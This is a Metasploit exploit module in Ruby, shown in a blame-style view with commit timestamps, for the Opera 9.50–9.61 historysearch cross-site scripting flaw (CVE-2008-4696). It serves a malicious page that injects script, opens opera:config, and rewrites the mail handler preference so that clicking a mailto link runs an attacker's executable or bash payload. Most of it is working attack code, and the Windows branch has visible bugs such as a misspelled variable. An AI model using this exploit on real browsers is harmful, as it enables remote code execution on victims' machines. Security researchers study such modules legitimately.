2009-07-13 07:48:12 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
autopwn_info({
|
|
|
|
:ua_name => HttpClients::OPERA,
|
|
|
|
:javascript => true,
|
|
|
|
:rank => ExcellentRanking, # reliable command execution
|
2009-07-28 11:08:50 +00:00
|
|
|
:vuln_test => %Q{
|
|
|
|
v = parseFloat(opera.version());
|
|
|
|
if (9.5 < v && 9.62 > v) {
|
|
|
|
is_vuln = true;
|
|
|
|
}
|
|
|
|
},
|
2009-07-22 20:14:35 +00:00
|
|
|
})
|
|
|
|
|
2009-07-13 07:48:12 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Opera historysearch XSS',
|
|
|
|
'Description' => %q{
|
|
|
|
Certain constructs are not escaped correctly by Opera's History
|
|
|
|
Search results. These can be used to inject scripts into the
|
|
|
|
page, which can then be used to modify configuration settings
|
2009-07-13 23:12:25 +00:00
|
|
|
and execute arbitrary commands. Affects Opera versions between
|
|
|
|
9.50 and 9.61.
|
2009-07-13 07:48:12 +00:00
|
|
|
},
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Roberto Suggi', # Discovered the vulnerability
|
|
|
|
'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
|
|
|
|
'egypt', # msf module
|
|
|
|
],
|
|
|
|
'Version' => '$Revision: 5773 $',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['BID', '31869'],
|
|
|
|
['OSVDB', '49472'],
|
|
|
|
['CVE', '2008-4696'],
|
|
|
|
['URL', 'http://www.opera.com/support/kb/view/903/'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'ExitFunc' => 'process',
|
|
|
|
'Space' => 4000,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'BadChars' => "\x09\x0a\x0d\x20",
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby telnet',
|
|
|
|
}
|
|
|
|
},
|
2009-07-13 07:48:12 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
#[ 'Automatic', { } ],
|
2009-08-18 04:49:16 +00:00
|
|
|
[ 'Opera < 9.61 Windows',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
2009-07-13 23:12:25 +00:00
|
|
|
[ 'Opera < 9.61 Unix Cmd',
|
2009-07-13 07:48:12 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2009-07-13 23:12:25 +00:00
|
|
|
'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
|
|
|
|
'DefaultTarget' => 0
|
2009-07-13 07:48:12 +00:00
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
headers = {}
|
|
|
|
html_hdr = %Q^
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<title>Loading</title>
|
|
|
|
^
|
|
|
|
html_ftr = %Q^
|
|
|
|
</head>
|
|
|
|
<body >
|
|
|
|
<h1>Loading</h1>
|
|
|
|
</body></html>
|
|
|
|
^
|
|
|
|
|
|
|
|
case request.uri
|
2009-08-18 04:49:16 +00:00
|
|
|
when /#{get_resource}\.exe/
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
if (p.nil?)
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
content = Msf::Util.to_win32pe(p.encoded)
|
|
|
|
headers['Content-Type'] = 'application/octet-stream'
|
2009-07-13 07:48:12 +00:00
|
|
|
when /[?]jspayload/
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
if (p.nil?)
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
2009-08-18 04:49:16 +00:00
|
|
|
content = generate_cmd(target, p)
|
2009-07-13 07:48:12 +00:00
|
|
|
when /[?]history/
|
|
|
|
js = %Q^
|
|
|
|
window.onload = function() {
|
|
|
|
location.href = "opera:historysearch?q=*";
|
|
|
|
}
|
|
|
|
^
|
|
|
|
content = %Q^
|
|
|
|
#{html_hdr}
|
|
|
|
<script><!--
|
|
|
|
#{js}
|
|
|
|
//--></script>
|
|
|
|
#{html_ftr}
|
|
|
|
^
|
|
|
|
when get_resource()
|
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
|
|
|
|
|
|
|
|
js = %Q^
|
2009-08-18 04:49:16 +00:00
|
|
|
if (window.opera) {
|
|
|
|
var wnd = window;
|
|
|
|
while (wnd.parent != wnd) {
|
|
|
|
wnd = wnd.parent;
|
|
|
|
}
|
|
|
|
url = location.href;
|
|
|
|
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
|
2009-07-13 07:48:12 +00:00
|
|
|
}
|
|
|
|
^
|
|
|
|
content = %Q^
|
|
|
|
#{html_hdr}
|
|
|
|
<script><!--
|
|
|
|
#{js}
|
|
|
|
//--></script>
|
|
|
|
#{html_ftr}
|
|
|
|
^
|
|
|
|
else
|
|
|
|
print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
send_response_html(cli, content, headers)
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
2009-08-18 04:49:16 +00:00
|
|
|
def generate_cmd(target, payload)
|
|
|
|
if (target.name =~ /Windows/)
|
|
|
|
config_window_js = %Q{
|
|
|
|
var cmd = unescape('cmd.exe /c calc.exe');
|
|
|
|
old_app = opera.getPreference('Mail','External Application');
|
|
|
|
old_handler = opera.getPreference('Mail','Handler');
|
|
|
|
opera.setPreference('Mail','External Application',cmd);
|
|
|
|
opera.setPreference('Mail','Handler','2');
|
|
|
|
app_link = document.createElement('a');
|
|
|
|
app_link.setAttribute('href', 'mailto:a@b.com');
|
|
|
|
app_link.click();
|
|
|
|
setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);
|
|
|
|
setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);
|
|
|
|
}
|
|
|
|
Rex::Text.compress(config_window_js)
|
|
|
|
toplevel_js = %Q{
|
|
|
|
var config_iframe = document.createElement("iframe");
|
|
|
|
config_iframe.src="opera:config";
|
|
|
|
config_iframe.id="config_window";
|
|
|
|
document.body.appendChild(config_iframe);
|
|
|
|
|
|
|
|
chache_iframe = document.createElement("iframe");
|
|
|
|
exe_iframe = document.createElement("script");
|
|
|
|
exe_iframe.src = "#{get_resource + ".exe"}";
|
|
|
|
exe_iframe.onload = function () {
|
|
|
|
config_window.eval("#{config_window_js}");
|
|
|
|
setTimeout(function () {window.location='about:blank'},1);
|
|
|
|
document.body.appendChild(cache_iframe);
|
|
|
|
};
|
|
|
|
document.body.appendChild(exe_iframe);
|
|
|
|
}
|
|
|
|
elsif (target.name =~ /Unix/)
|
|
|
|
# We're going to run this through unescape(), so make sure
|
|
|
|
# everything is encoded, not just chars that are special to html,
|
|
|
|
# ala encode_uri().
|
|
|
|
penc = Rex::Text.to_hex(payload.encoded, "%")
|
|
|
|
content = %Q{
|
|
|
|
var s = document.createElement("iframe");
|
|
|
|
|
|
|
|
s.src="opera:config";
|
|
|
|
s.id="config_window";
|
|
|
|
document.body.appendChild(s);
|
|
|
|
config_window.eval(
|
|
|
|
"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
|
|
|
|
"old_app = opera.getPreference('Mail','External Application');" +
|
|
|
|
"old_handler = opera.getPreference('Mail','Handler');" +
|
|
|
|
"opera.setPreference('Mail','External Application',cmd);" +
|
|
|
|
"opera.setPreference('Mail','Handler','2');" +
|
|
|
|
"app_link = document.createElement('a');" +
|
|
|
|
"app_link.setAttribute('href', 'mailto:a@b.com');" +
|
|
|
|
"app_link.click();" +
|
|
|
|
"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
|
|
|
|
"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
|
|
|
|
"");
|
|
|
|
setTimeout(function () {window.location='about:blank'},1);
|
|
|
|
}
|
|
|
|
return content
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2009-07-13 07:48:12 +00:00
|
|
|
end
|